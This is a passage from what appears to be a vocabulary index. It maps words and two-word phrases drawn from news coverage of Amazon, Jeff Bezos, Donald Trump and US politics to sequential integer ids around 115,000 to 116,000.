"rich azzopardi": 114937, "added virginia": 114938, "tv according": 114939, "g8 function": 114940, "mental state": 114941, "span": 114942, "administration robert": 114943, "state elected": 114944, "vanessa tyson": 114945, "financial houses": 114946, "kkk amazon": 114947, "guiding hand": 114948, "fall ronan": 114949, "country environment": 114950, "failure": 114951, "daycare fight": 114952, "entitled president": 114953, "beltway swamp": 114954, "person thanks": 114955, "scored big": 114956, "tweet appeared": 114957, "responder": 114958, "software supports": 114959, "outlet cnbc": 114960, "symphony": 114961, "27990": 114962, "palantir": 114963, "stock value": 114964, "bezos hold": 114965, "best life": 114966, "immigration agenda": 114967, "elisabeth calvarin": 114968, "professed birtherism": 114969, "brazil soy": 114970, "sharief member": 114971, "really getting": 114972, "deaths vietnam": 114973, "play big": 114974, "unusual mixture": 114975, "amicable tenor": 114976, "energized democratic": 114977, "impact major": 114978, "better face": 114979, "leafly": 114980, "related conversations": 114981, "pension issue": 114982, "west oregon": 114983, "shoppers": 114984, "srclarge thumbimageelem": 114985, "retailers nationwide": 114986, "lower yesterday": 114987, "help lessen": 114988, "newly revised": 114989, "obligations involved": 114990, "plugging": 114991, "mark weprin": 114992, "direct control": 114993, "status blaming": 114994, "saykara": 114995, "reality processes": 114996, "road hanky": 114997, "times cancer": 114998, "reach wide": 114999, "sourcecentury": 115000, "wealth mngmt": 115001, "federal labor": 115002, "fellow brit": 115003, "political grudge": 115004, "imac": 115005, "nahmias ocasio": 115006, "paper embodies": 115007, "demand uber": 115008, "having bit": 115009, "try reading": 115010, "music reviews": 115011, "fun place": 115012, "exceeding r15": 115013, "4044": 115014, "infamous emails": 115015, "started season": 115016, "spirited marketplace": 115017, "encore": 115018, "fbiofficial": 115019, "innovative solutions": 115020, "run garofolo": 115021, "intelligence algorithms": 115022, "daily look": 115023, "z8 m8i": 115024, "grilling": 115025, "session wall": 115026, "service axios": 115027, "amazon really": 115028, "farrow claim": 115029, "pirro judgejeanine": 115030, "clever women": 115031, "people wondered": 115032, "crash george": 115033, "postpone meeting": 115034, "cherished": 115035, "electronic markets": 115036, "intraday view": 115037, "cloud vet": 115038, "blackmail revelations": 115039, "primeday": 115040, "digital public": 115041, "postage products": 115042, "towns won": 115043, "independent vote": 115044, "vain self": 115045, "vhi announced": 115046, "fully deserves": 115047, "parcel volumes": 115048, "nossies nangs": 115049, "overdose": 115050, "followers login": 115051, "budget busting": 115052, "media speaks": 115053, "business launches": 115054, "trump erictrump": 115055, "just russia": 115056, "device called": 115057, "shitting": 115058, "inspires": 115059, "new language": 115060, "photo speaks": 115061, "month lapse": 115062, "augured": 115063, "la resistance": 115064, "shoe orders": 115065, "cause long": 115066, "involved breach": 115067, "building business": 115068, "issue actually": 115069, "aides requested": 115070, "pundits": 115071, "axios cited": 115072, "beautiful thing": 115073, "dead getting": 115074, "fbi dossier": 115075, "worsening row": 115076, "china moon": 115077, "3p fall": 115078, "noted gene": 115079, "handle antitrust": 115080, "flying cars": 115081, "punch": 115082, "tightening monetary": 115083, "fact getting": 115084, "routers servers": 115085, "investigating suspected": 115086, "crime apps": 115087, "bad better": 115088, "amplifier": 115089, "growth wealth": 115090, "monetary support": 115091, "bezos traditionally": 115092, "purchase behavior": 115093, "partner program": 115094, "undervalued": 115095, "ta huge": 115096, "shun nike": 115097, "compulsively focused": 115098, "online marketplace": 115099, "neal massachusetts": 115100, "economic benefits": 115101, "paulareidcbs": 115102, "zing follows": 115103, "greeter": 115104, "bring thousands": 115105, "success according": 115106, "rekognition software": 115107, "fortunes rose": 115108, "time champion": 115109, "large concentration": 115110, "second amazon": 115111, "dma readings": 115112, "dr seuss": 115113, "commentisfree 2017": 115114, "economic fairness": 115115, "rate think": 115116, "riskier assets": 115117, "key step": 115118, "scene following": 115119, "bharatiya janata": 115120, "morgan ortagus": 115121, "ge agrees": 115122, "religious": 115123, "content james": 115124, "commonly refers": 115125, "excoriations": 115126, "working group": 115127, "passed marijuana": 115128, "tony dokoupil": 115129, "harassment overall": 115130, "dod recently": 115131, "pennsylvania ave": 115132, "shows copies": 115133, "building 98point6": 115134, "certified": 115135, "writing josh": 115136, "morning nasdaq": 115137, "campaign observers": 115138, "conditioners": 115139, "kysar": 115140, "germany donald": 115141, "outside animal": 115142, "onthe ground": 115143, "diversified tru": 115144, "wanted drug": 115145, "ghogh": 115146, "ranging phone": 115147, "contemplating": 115148, "shares gw": 115149, "industry wide": 115150, "mexican restaurant": 115151, "distributing": 115152, "yard bursts": 115153, "retailers james": 115154, "stores called": 115155, "exports sent": 115156, "e8 n2x": 115157, "riling": 115158, "damage amazon": 115159, "confidant reveals": 115160, "theft": 115161, "crash kelly": 115162, "reduce brazil": 115163, "customers typically": 115164, "earlier compares": 115165, "apollo global": 115166, "karen chan": 115167, "certify": 115168, "wider economic": 115169, "generous local": 115170, "dem": 115171, "scams": 115172, "deliberate effort": 115173, "world countries": 115174, "bezos talking": 115175, "yuelai manager": 115176, "heat itunes": 115177, "valley ad": 115178, "ward hammacher": 115179, "gurnani kushal": 115180, "elizabeth": 115181, "peasants": 115182, "garcia 415": 115183, "648 shares": 115184, "pressure congress": 115185, "bezos rocks": 115186, "previously sold": 115187, "chronic conditions": 115188, "engaged buying": 115189, "extortion buzzfeed": 115190, "crisis dominating": 115191, "supply water": 115192, "rural locations": 115193, "bear president": 115194, "regulatory commission": 115195, "american body": 115196, "policy story": 115197, "gov floridaflu": 115198, "nbc sitcom": 115199, "business earned": 115200, "amageddon": 115201, "million unsuspecting": 115202, "amazon protesters": 115203, "saying repeatedly": 115204, "escape check": 115205, "position santos": 115206, "favored dealmaking": 115207, "secondary just": 115208, "members concerns": 115209, "huge incentive": 115210, "bowl commercial": 115211, "economic potential": 115212, "entertaining interview": 115213, "reason according": 115214, "media criticism": 115215, "statement supporters": 115216, "lawsuit allegations": 115217, "replenishment scheme": 115218, "sees costs": 115219, "athletic clothing": 115220, "says walmart": 115221, "suspend judgment": 115222, "ibm federal": 115223, "hosted birther": 115224, "agricultural": 115225, "unfavorable view": 115226, "administration warns": 115227, "getting head": 115228, "issue does": 115229, "search sure": 115230, "attractive ken": 115231, "party changes": 115232, "repealed": 115233, "followers claimed": 115234, "filings": 115235, "eats food": 115236, "amazon arrival": 115237, "effectively paid": 115238, "introduced willy": 115239, "titled morgan": 115240, "federation declined": 115241, "capital prns": 115242, "european banks": 115243, "impressed investors": 115244, "pine tom": 115245, "pmnts": 115246, "hair raising": 115247, "liked stranger": 115248, "won offer": 115249, "sprout": 115250, "considered favorite": 115251, "asean china": 115252, "action europe": 115253, "took dive": 115254, "great dining": 115255, "sold 70m": 115256, "oval office": 115257, "team stops": 115258, "sjostrom": 115259, "telemark asset": 115260, "partys": 115261, "as\u0430first": 115262, "sorce advisory": 115263, "publication politico": 115264, "parents used": 115265, "kya clark": 115266, "months dec": 115267, "quantico": 115268, "making tax": 115269, "vicky cristina": 115270, "globally distributed": 115271, "biggest federal": 115272, "report turned": 115273, "trunk": 115274, "k20": 115275, "constantly heaped": 115276, "media thought": 115277, "american citizen": 115278, "stark": 115279, "talks beginning": 115280, "year claiming": 115281, "walmart target": 115282, "digital advertising": 115283, "travel join": 115284, "gripe": 115285, "hot cake": 115286, "stephanie land": 115287, "withdrawn": 115288, "kings dom": 115289, "banning books": 115290, "anybody": 115291, "massachusetts attorney": 115292, "paulorwell1": 115293, "struggles selling": 115294, "potentially inappropriate": 115295, "week tatler": 115296, "large deduction": 115297, "aggressively lobbied": 115298, "memoir discusses": 115299, "capitalization topped": 115300, "deadline separately": 115301, "2657635": 115302, "weekly tabloid": 115303, "based consumer": 115304, "biden praising": 115305, "zeppelin": 115306, "member united": 115307, "general warehousing": 115308, "afford consultation": 115309, "equalizer": 115310, "media llc": 115311, "knowledge does": 115312, "microphone": 115313, "wider antitrust": 115314, "significant food": 115315, "beg": 115316, "final public": 115317, "husemen": 115318, "spokesperson raising": 115319, "takedowns": 115320, "judges rule": 115321, "decentralized internet": 115322, "bloomberg pointed": 115323, "trump eye": 115324, "provide disincentive": 115325, "butt dials": 115326, "upscale modern": 115327, "rule previous": 115328, "story super": 115329, "intact": 115330, "happened shares": 115331, "debt load": 115332, "reporter sinclair": 115333, "federal procurement": 115334, "support publicly": 115335, "operate": 115336, "chanted": 115337, "companies accused": 115338, "chaos minutes": 115339, "mirror": 115340, "cardboard box": 115341, "just learned": 115342, "toys topping": 115343, "legislative leader": 115344, "parcel prices": 115345, "local reporting": 115346, "platform users": 115347, "india according": 115348, "thedeputy": 115349, "fossil remains": 115350, "limbaugh banner": 115351, "amazon online": 115352, "followed quill": 115353, "somewhat believable": 115354, "suspicious brown": 115355, "2019 jedi": 115356, "drug pricing": 115357, "idea having": 115358, "tabloid star": 115359, "private investigator": 115360, "enjoy firing": 115361, "trump applauds": 115362, "theroux": 115363, "becker refused": 115364, "impersonating trump": 115365, "including stronger": 115366, "brand": 115367, "colorful world": 115368, "statement pushing": 115369, "paris fashion": 115370, "fund australia": 115371, "eu sarl": 115372, "days amazon": 115373, "amazon alphabet": 115374, "achieved": 115375, "consumer data": 115376, "keeping temperatures": 115377, "bezos ms": 115378, "turbulence": 115379, "similar deal": 115380, "policy right": 115381, "say alexa": 115382, "contents": 115383, "longtime friends": 115384, "heath": 115385, "chris kleponis": 115386, "withhold": 115387, "justifiable reason": 115388, "negotiations did": 115389, "theory brandview": 115390, "numerous prognosticators": 115391, "earlier bezos": 115392, "thedecision": 115393, "forfeiture fund": 115394, "print previous": 115395, "nancy pollock": 115396, "sweeping green": 115397, "page mst": 115398, "jim lo": 115399, "clients included": 115400, "ro khanna": 115401, "customers american": 115402, "shoppers logged": 115403, "unceasing": 115404, "psychiatric reasons": 115405, "tweet minutes": 115406, "500 protected": 115407, "jlraqsdevf david": 115408, "revivals erica": 115409, "twitter president": 115410, "labor nominee": 115411, "segment maybe": 115412, "board 2018": 115413, "parents democrats": 115414, "billions trump": 115415, "point everybody": 115416, "shopping behavior": 115417, "review 2411390002": 115418, "deals fiat": 115419, "jobs economic": 115420, "shelves unloading": 115421, "particular environment": 115422, "tweet reaction": 115423, "columns america": 115424, "key architect": 115425, "democratic hopeful": 115426, "satire trump": 115427, "costco fell": 115428, "usps welcome": 115429, "blvd moya": 115430, "161": 115431, "aaron bernstein": 115432, "latimes": 115433, "post paper": 115434, "make positive": 115435, "relevant novel": 115436, "little reason": 115437, "walmart company": 115438, "order worth": 115439, "stage modest": 115440, "dubbed frank": 115441, "complex biological": 115442, "rights happy": 115443, "misclassification lawsuits": 115444, "automatically leaves": 115445, "consultant earlier": 115446, "couple texts": 115447, "survivors cruz": 115448, "pena sullivan": 115449, "report rising": 115450, "major economic": 115451, "poynter": 115452, "going casual": 115453, "fredric": 115454, "voice customers": 115455, "midge maisel": 115456, "inexpensive ground": 115457, "criticise": 115458, "roller coaster": 115459, "chinese commerce": 115460, "officially gone": 115461, "independent authority": 115462, "street forecasts": 115463, "deal requires": 115464, "1994 film": 115465, "cleaners": 115466, "kavanaugh judicial": 115467, "massachusetts based": 115468, "antitrust claims": 115469, "rapper": 115470, "travel expenses": 115471, "close family": 115472, "payment glit": 115473, "congressional black": 115474, "bloomberg survey": 115475, "lesser epa": 115476, "bought amazon": 115477, "subsistence farmers": 115478, "clinton hillary": 115479, "start according": 115480, "cuts coming": 115481, "congress created": 115482, "mccain tells": 115483, "including request": 115484, "developing tv": 115485, "brett kavanaugh": 115486, "sam catlin": 115487, "bipartisan temptation": 115488, "kid christmas": 115489, "j8i d8": 115490, "speed round": 115491, "congresswoman alexandria": 115492, "robinson humphrey": 115493, "billion left": 115494, "builder brothers": 115495, "currently projecting": 115496, "origin founder": 115497, "jennifer jacobs": 115498, "abject": 115499, "majority indicated": 115500, "data available": 115501, "significantly expanded": 115502, "hikes peak": 115503, "employees rely": 115504, "remained comparatively": 115505, "bbby": 115506, "hq2 instead": 115507, "earliest days": 115508, "new small": 115509, "latest news": 115510, "post ownership": 115511, "attempt acquiring": 115512, "divorce getty": 115513, "secret trump": 115514, "coverage time": 115515, "mumtaz": 115516, "sf mayor": 115517, "politicizing agencies": 115518, "summit click": 115519, "facetime": 115520, "inequality inevitably": 115521, "women brewer": 115522, "convincing theory": 115523, "mcallen": 115524, "statements demands": 115525, "drug enforcement": 115526, "ticker aapl": 115527, "putin president": 115528, "gary kelly": 115529, "smart correction": 115530, "senior leadership": 115531, "somalia airstrikes": 115532, "dosari": 115533, "nse": 115534, "unseat president": 115535, "says america": 115536, "alcoa corp": 115537, "runners mccain": 115538, "singleton": 115539, "greater resources": 115540, "talks defender": 115541, "sackheim": 115542, "moderating": 115543, "customers ironically": 115544, "comey appointed": 115545, "wolf hall": 115546, "kim chose": 115547, "sic feel": 115548, "brought popular": 115549, "smialowski newpaper24": 115550, "diabolical attack": 115551, "startup focused": 115552, "properties watch": 115553, "undisclosed price": 115554, "ojeda": 115555, "magalia": 115556, "cancer patients": 115557, "companies valuations": 115558, "solid conservative": 115559, "customer kyle": 115560, "used state": 115561, "stock rhode": 115562, "particularly interested": 115563, "salesforce": 115564, "today claims": 115565, "companies ceo": 115566, "city unemployment": 115567, "strategy benefits": 115568, "trump great": 115569, "affect trumpstore": 115570, "avoided taking": 115571, "10b": 115572, "rekognition technology": 115573, "viejo": 115574, "study released": 115575, "mean hit": 115576, "maxsa makes": 115577, "twelfth": 115578, "international growth": 115579, "recused": 115580, "billionaire mackenzie": 115581, "broad authority": 115582, "location trump": 115583, "faces showdown": 115584, "dwi": 115585, "preclude amazon": 115586, "590": 115587, "pinterest ipo": 115588, "joins growing": 115589, "objective": 115590, "18f": 115591, "frequently respond": 115592, "global shipping": 115593, "thewashington": 115594, "chinese consulate": 115595, "founder david": 115596, "gushing": 115597, "bros toad": 115598, "pray": 115599, "shuffling": 115600, "accomplishing": 115601, "desantis vice": 115602, "effectively affirmed": 115603, "investment summit": 115604, "markupid fave": 115605, "special discounts": 115606, "single currency": 115607, "conference simply": 115608, "causing outrage": 115609, "accommodate bezos": 115610, "learns": 115611, "tougher regulatory": 115612, "contributed chapter": 115613, "hq2 don": 115614, "return students": 115615, "particular pride": 115616, "richard florida": 115617, "foot tall": 115618, "139 increase": 115619, "new cbc": 115620, "reaches": 115621, "ceo hall": 115622, "losing market": 115623, "government accountable": 115624, "allow kanter": 115625, "fictional castle": 115626, "committee led": 115627, "victim killed": 115628, "9jay9wndd8": 115629, "trump growing": 115630, "tennessee department": 115631, "records widening": 115632, "abusive behavior": 115633, "absorption": 115634, "long shifts": 115635, "dressing room": 115636, "typeof thumbimageelem": 115637, "pass muster": 115638, "pilot managed": 115639, "traveling engagement": 115640, "groups hate": 115641, "cyberx efforts": 115642, "buying merchandise": 115643, "georgetown county": 115644, "wealth makes": 115645, "allowable": 115646, "wwii airmen": 115647, "political stripe": 115648, "geekwire alan": 115649, "airing": 115650, "designation cause": 115651, "synergy research": 115652, "does biden": 115653, "damianpaletta jdawsey1": 115654, "child michael": 115655, "onsite": 115656, "bhel indian": 115657, "000 trees": 115658, "line did": 115659, "probably noticed": 115660, "shows demand": 115661, "bedford": 115662, "angerer leaders": 115663, "vail": 115664, "assistant bot": 115665, "intelligence estimate": 115666, "companies competing": 115667, "sanchez called": 115668, "fbi refusing": 115669, "lebeau explains": 115670, "nigh indestructible": 115671, "black box": 115672, "coolidge": 115673, "source verge": 115674, "imperils trump": 115675, "new ceo": 115676, "validates": 115677, "superiority": 115678, "utensil rest": 115679, "best solution": 115680, "phil bartlett": 115681, "schoolstrike4climate": 115682, "administers": 115683, "warren releases": 115684, "amazon coup": 115685, "deadly blow": 115686, "customers bartiromo": 115687, "spanking": 115688, "loup": 115689, "ilhan omar": 115690, "g7": 115691, "ravi shanker": 115692, "range instead": 115693, "unaffected president": 115694, "splitting hq2": 115695, "members amazon": 115696, "holdings proved": 115697, "began covering": 115698, "review section": 115699, "states cheryl": 115700, "emails display": 115701, "garissa": 115702, "enhanced services": 115703, "mexico establishment": 115704, "rafael espinal": 115705, "saturdays": 115706, "foes jeff": 115707, "cuomo warned": 115708, "celsius": 115709, "published blockbuster": 115710, "uber nextdoor": 115711, "miranda priestly": 115712, "campaign contribution": 115713, "conjures": 115714, "premiere hbo": 115715, "handle packages": 115716, "thieves especially": 115717, "120": 115718, "dhs systems": 115719, "shipping offering": 115720, "television writer": 115721, "style princess": 115722, "litigation fox": 115723, "sprinkles": 115724, "optimization site": 115725, "long amzn": 115726, "prevent company": 115727, "injects living": 115728, "critic bezos": 115729, "companies user": 115730, "harshly criticized": 115731, "exist ex": 115732, "geospatial": 115733, "vaccines": 115734, "leather canvas": 115735, "better performance": 115736, "libertarian themed": 115737, "roy helped": 115738, "computing home": 115739, "booked": 115740, "fully cooperate": 115741, "finally revealed": 115742, "disgruntled": 115743, "pottsville native": 115744, "initially marked": 115745, "match interview": 115746, "strong support": 115747, "relentless pursuit": 115748, "headliners": 115749, "governing majority": 115750, "different tone": 115751, "null img_skyscraperref": 115752, "negatively impacted": 115753, "critics speculate": 115754, "dominate significant": 115755, "sanchez ended": 115756, "rebecca kysar": 115757, "textbook industry": 115758, "extortion messages": 115759, "administration defangs": 115760, "historic skid": 115761, "aggressively profiting": 115762, "winning comic": 115763, "mark publishing": 115764, "nosed": 115765, "anonymous bodies": 115766, "davos stalwart": 115767, "previously": 115768, "increasingly mired": 115769, "emergency management": 115770, "martha mcsally": 115771, "planning circling": 115772, "crafting jedi": 115773, "19th century": 115774, "lower paid": 115775, "pascal rossignol": 115776, "treasury releases": 115777, "american politicians": 115778, "company claimed": 115779, "unlike ebay": 115780, "yards bancorp": 115781, "jon bonn\u00e9": 115782, "judge approval": 115783, "line vestager": 115784, "allegations florida": 115785, "panhandle bringing": 115786, "viewer": 115787, "speculation immediately": 115788, "harper wave": 115789, "bezos adventure": 115790, "created videos": 115791, "pose happens": 115792, "main investigatory": 115793, "spurred stock": 115794, "occasion clearly": 115795, "protestors turn": 115796, "crime documentaries": 115797, "loadedfully": 115798, "shoplifters": 115799, "bizarre pro": 115800, "ohio billion": 115801, "cuisine returns": 115802, "writes president": 115803, "center press": 115804, "gbenga": 115805, "allegations videocmsurl": 115806, "marketplace growth": 115807, "personal financial": 115808, "xrt slumped": 115809, "helpful commission": 115810, "framed": 115811, "marshall st": 115812, "involve onewest": 115813, "city restaurant": 115814, "google tell": 115815, "pence seated": 115816, "companies james": 115817, "140billion": 115818, "wiping": 115819, "d1a": 115820, "7a says": 115821, "exposed rough": 115822, "claims covered": 115823, "deciding factor": 115824, "usps monopoly": 115825, "progressive brothers": 115826, "photo fortune": 115827, "benefits military": 115828, "playbook london": 115829, "avoid increased": 115830, "toughest": 115831, "privacy civil": 115832, "miller gregpmiller": 115833, "new brexit": 115834, "kavanaugh kavanaugh": 115835, "fabricated": 115836, "journalism politics": 115837, "housing": 115838, "sma": 115839, "boeing ba": 115840, "led amazon": 115841, "trump rhetorical": 115842, "mia": 115843, "marketwatch poll": 115844, "reader demand": 115845, "recently topped": 115846, "net 565": 115847, "blue state": 115848, "stocks rising": 115849, "rain used": 115850, "large file": 115851, "old gods": 115852, "began kneeling": 115853, "issue yesterday": 115854, "cars detroit": 115855, "bipartisan legislative": 115856, "stole 100": 115857, "perla ferrar": 115858, "entire preface": 115859, "donald graham": 115860, "vogel blogs": 115861, "news anti": 115862, "ivana trump": 115863, "unwelcome message": 115864, "causes homelessness": 115865, "expand market": 115866, "better argument": 115867, "anne innocenzio": 115868, "l9x p9x": 115869, "rachel koning": 115870, "composing": 115871, "sponsor torched": 115872, "jaynordlinger": 115873, "45bil erased": 115874, "wraps": 115875, "geopolitical concerns": 115876, "probably directly": 115877, "inaugural christmas": 115878, "materials included": 115879, "stocks consider": 115880, "airquality": 115881, "bouncier hair": 115882, "catch error": 115883, "ap military": 115884, "decision puts": 115885, "2016 gawande": 115886, "particularly important": 115887, "barely noticed": 115888, "rescue crews": 115889, "chairman bezos": 115890, "green deal": 115891, "facebook executives": 115892, "unsafe working": 115893, "iraq oil": 115894, "gym backpack": 115895, "petulantly usually": 115896, "square garden": 115897, "wsgr wave": 115898, "jewish refugees": 115899, "elections bipartisan": 115900, "registration portal": 115901, "interconnectivity": 115902, "dishonest way": 115903, "identity correlates": 115904, "blanket statement": 115905, "united jetblue": 115906, "offered insurance": 115907, "claire denis": 115908, "weather trade": 115909, "year jeff": 115910, "rams left": 115911, "company praises": 115912, "furiously": 115913, "parsec financial": 115914, "husband george": 115915, "finance morning": 115916, "unease": 115917, "word post": 115918, "pathology predates": 115919, "attack played": 115920, "transportation committee": 115921, "updated hourly": 115922, "reports stone": 115923, "places recently": 115924, "america afp": 115925, "judge mueller": 115926, "negotiating tools": 115927, "damage president": 115928, "employees engaging": 115929, "family homeless": 115930, "past": 115931, "homes right": 115932, "services raise": 115933, "super mario": 115934, "jeff retaliated": 115935, "refugees new": 115936, "majestic": 115937, "reps ilhan": 115938, "focused super": 115939, "core multicarrier": 115940, "hicks": 115941, "700 000": 115942, "captivated washington": 115943, "opportunity amazon": 115944, "engaged tommy": 115945, "senator interview": 115946, "told members": 115947, "developing tagsamazon": 115948, "outright thievery": 115949, "militants": 115950, "unidentified official": 115951, "lakesha dortch": 115952, "tech magnate": 115953, "alexandriaocasio": 115954, "combatting political": 115955, "sees bolsonaro": 115956, "planes mcbride": 115957, "landscape": 115958, "attenuated varicella": 115959, "members matt": 115960, "members alike": 115961, "called corporate": 115962, "students finds": 115963, "small hut": 115964, "policy proposals": 115965, "long understood": 115966, "brand loved": 115967, "dutifully": 115968, "reported policy": 115969, "character origins": 115970, "math music": 115971, "cabinet officials": 115972, "greene yeah": 115973, "details": 115974, "observations": 115975, "rapid expansion": 115976, "prices dropped": 115977, "trump reads": 115978, "chum": 115979, "toronto welcome": 115980, "northbound traffic": 115981, "violence cbs": 115982, "commonweal darla": 115983, "comments startribune": 115984, "comments piled": 115985, "chronic pain": 115986, "unemployment flat": 115987, "deal costing": 115988, "emails posted": 115989, "approve compromise": 115990, "suzan": 115991, "heavy promotion": 115992, "business provided": 115993, "shares means": 115994, "inequality": 115995, "doesn mention": 115996, "computer manufacturers": 115997, "employment council": 115998, "space vacations": 115999, "hard red": 116000, "trekking": 116001, "rigor": 116002, "quietly focus": 116003, "hangar": 116004, "bully puppet": 116005, "public source": 116006, "person pledge": 116007, "buckner": 116008, "shares amzn": 116009, "motives": 116010, "varying degrees": 116011, "seemingly referring": 116012, "antitrust accusations": 116013, "coming close": 116014, "carrie schwab": 116015, "growing relationship": 116016, "hq florida": 116017, "acquires": 116018, "mistress": 116019, "ambitions seriously": 116020, "alongside population": 116021, "news tucker": 116022, "davie spent": 116023, "weakened amazon": 116024, "disability accommodation": 116025, "fear coursing": 116026, "ubs analyst": 116027, "services president": 116028, "successful effort": 116029, "outpost": 116030, "wholesaling": 116031, "fact saving": 116032, "entry kavitha": 116033, "cigna says": 116034, "turn record": 116035, "infested pond": 116036, "corporate activists": 116037, "quotes sanchez": 116038, "president assertion": 116039, "academies": 116040, "incremental expenses": 116041, "approving": 116042, "session courtney": 116043, "dispel sense": 116044, "rachel maddow": 116045, "nuke": 116046, "president bashed": 116047, "calls fed": 116048, "challenge nbc": 116049, "higher profits": 116050, "latest poll": 116051, "rosenstein stepping": 116052, "legitimate basis": 116053, "hiring gop": 116054, "employees blackmailing": 116055, "sisters brothers": 116056, "politics book": 116057, "ongoing saga": 116058, "bubble trouble": 116059, "new turing": 116060, "zone designated": 116061, "nevada senate": 116062, "establishing facebook": 116063, "felling information": 116064, "unionize": 116065, "second trillion": 116066, "weight new": 116067, "reduces high": 116068, "big draw": 116069, "owns translating": 116070, "000 good": 116071, "family charity": 116072, "thinking fred": 116073, "conditions usps": 116074, "grows luckin": 116075, "price according": 116076, "mayor fully": 116077, "backed efforts": 116078, "countries expanding": 116079, "trade terms": 116080, "donate land": 116081, "receive health": 116082, "russians used": 116083, "foto sourcebluefly": 116084, "huge escalation": 116085, "riches bupkis": 116086, "young woman": 116087, "rss feed": 116088, "decry": 116089, "months drafting": 116090, "half witch": 116091, "157": 116092, "hubbard published": 116093, "president expense": 116094, "thecity": 116095, "promising specific": 116096, "ideas proven": 116097, "friendly pirro": 116098, "provide additional": 116099, "tax caused": 116100, "leak aimed": 116101, "winning journalist": 116102, "campaign bravado": 116103, "level make": 116104, "trump set": 116105, "scott trust": 116106, "virginian": 116107, "doing plenty": 116108, "outcome trump": 116109, "nov 2016": 116110, "diabetes cookbook": 116111, "key state": 116112, "sprung": 116113, "businesses click": 116114, "boots maker": 116115, "kino international": 116116, "requirements": 116117, "systems count": 116118, "ofhis allies": 116119, "daily dot": 116120, "market dominant": 116121, "perverse way": 116122, "sketch saying": 116123, "kit company": 116124, "obama defense": 116125, "largest deal": 116126, "children agency": 116127, "seasonal spirit": 116128, "political shift": 116129, "silent guessing": 116130, "length 39572": 116131, "aclu called": 116132, "including commerce": 116133, "winter olympic": 116134, "getting billion": 116135, "lost boys": 116136, "tweet sent": 116137, "ben": 116138, "amazon typical": 116139, "marketplace grocery": 116140, "alterations": 116141, "cutting emissions": 116142, "expansion barclays": 116143, "performance particularly": 116144, "football pitches": 116145, "fedex super": 116146, "millennial socialist": 116147, "uranium resources": 116148, "hbr org": 116149, "planning live": 116150, "delivery efforts": 116151, "shame diversity": 116152, "sisyphean task": 116153, "j8i t8": 116154, "union sues": 116155, "storm blaming": 116156, "newsletters signup": 116157, "hypersonic interceptors": 116158, "residents say": 116159, "defense distributed": 116160, "putatively": 116161, "hostility dates": 116162, "getlibraryname": 116163, "bluecross": 116164, "danske": 116165, "aws web": 116166, "rooms making": 116167, "picked products": 116168, "boxed": 116169, "bannon social": 116170, "meditation": 116171, "hulu happy": 116172, "exchange": 116173, "intense political": 116174, "ami recently": 116175, "catalogs": 116176, "article_inline": 116177, "jailing": 116178, "overhaul": 116179, "ubhi ties": 116180, "japans nikkei": 116181, "suzanne eovaldli": 116182, "great relationships": 116183, "says myanmar": 116184, "bezos moving": 116185, "boost lending": 116186, "failed facebook": 116187, "naturalmedicine news": 116188, "premiering": 116189, "fulfillment capabilities": 116190, "great vehicle": 116191, "weekly podcast": 116192, "bloomberg bernard": 116193, "safety immigration": 116194, "kerala floods": 116195, "quarter according": 116196, "amazon pares": 116197, "management solutions": 116198, "wage structure": 116199, "counterfeit good": 116200, "war iii": 116201, "known donations": 116202, "goliath": 116203, "childish sobriquet": 116204, "author did": 116205, "cycle going": 116206, "nation population": 116207, "hearing cristina": 116208, "sunlen ivanka": 116209, "monitoring organization": 116210, "diseases including": 116211, "documents include": 116212, "satan worshipers": 116213, "dominated headlines": 116214, "bygone": 116215, "inspire": 116216, "vocally support": 116217, "actual wars": 116218, "juliette": 116219, "technologically": 116220, "attempt": 116221, "contractor investment": 116222, "small amazon": 116223, "rtx 2080": 116224, "cloud": 116225, "tariffs start": 116226, "provides useful": 116227, "blogging royal": 116228, "politics including": 116229, "howard read": 116230, "2018 chris": 116231, "calls according": 116232, "group morning": 116233, "birthweek": 116234, "documented inflammatory": 116235, "soul save": 116236, "business little": 116237, "targets nbc": 116238, "aggressively pricing": 116239, "times soon": 116240, "ford met": 116241, "inc_activeflag": 116242, "facebook knew": 116243, "sorted": 116244, "threatens democracy": 116245, "tr ivw": 116246, "remarkable post": 116247, "house briefing": 116248, "ice isn": 116249, "potatoes": 116250, "expand drilling": 116251, "trust claims": 116252, "normous": 116253, "fright fest": 116254, "join lawsuit": 116255, "search activity": 116256, "readmoretext_aut": 116257, "upwards": 116258, "ami insisted": 116259, "accelerate innovation": 116260, "paper ocasio": 116261, "wegmann yes": 116262, "does everybody": 116263, "wall reuters": 116264, "fanned": 116265, "educating members": 116266, "author andr\u00e9s": 116267, "populated urban": 116268, "ac kth": 116269, "expansion invites": 116270, "delivering cargo": 116271, "regulatory sandboxes": 116272, "boorstin key": 116273, "staff writing": 116274, "thanks selyukh": 116275, "intu": 116276, "illegal payments": 116277, "expenses deeply": 116278, "office later": 116279, "internet 2018": 116280, "subject bread": 116281, "force told": 116282, "advertising practices": 116283, "legislation authored": 116284, "update amazon": 116285, "services growth": 116286, "marketing facial": 116287, "dovetailed": 116288, "undercover expos\u00e9": 116289, "response sen": 116290, "outlets included": 116291, "change consumers": 116292, "trump publicly": 116293, "facebook business": 116294, "unusual subject": 116295, "jpmorgan chase": 116296, "pull troops": 116297, "prompting west": 116298, "hindu newspaper": 116299, "green amazon": 116300, "photos people": 116301, "pac govpredict": 116302, "denying coverage": 116303, "pay extra": 116304, "counterfeiters": 116305, "axe source": 116306, "pretty bi": 116307, "ny times": 116308, "bishop": 116309, "crowned": 116310, "l4 function": 116311, "author says": 116312, "door mary": 116313, "originating": 116314, "2016 book": 116315, "barrack": 116316, "zinke concealed": 116317, "inheritance": 116318, "delong glenn": 116319, "proposals called": 116320, "week second": 116321, "especially tariffs": 116322, "knows ami": 116323, "impacts jenn": 116324, "document title": 116325, "bhattarai washpost": 116326, "active shooter": 116327, "report usps": 116328, "money report": 116329, "crosshairs hated": 116330, "psychiatric": 116331, "told amy": 116332, "solidify": 116333, "fortune evenly": 116334, "advocate grammy": 116335, "null inc_feature_image_override_position": 116336, "overtly": 116337, "a4ee w8": 116338, "provide money": 116339, "tech darling": 116340, "recessionary": 116341, "restoring traditional": 116342, "people shopped": 116343, "drake degrassi": 116344, "fact rep": 116345, "staged": 116346, "maker value": 116347, "accent think": 116348, "news seth": 116349, "consider heading": 116350, "apart soon": 116351, "definitely skewed": 116352, "various members": 116353, "holmgren lanzatech": 116354, "posting video": 116355, "south america": 116356, "twitter nahmias": 116357, "money euro": 116358, "cloud formation": 116359, "unresponsive bezos": 116360, "constantly updating": 116361, "ght": 116362, "chief president": 116363, "bezos thanked": 116364, "immoral way": 116365, "sacrifice child": 116366, "jeff havlin": 116367, 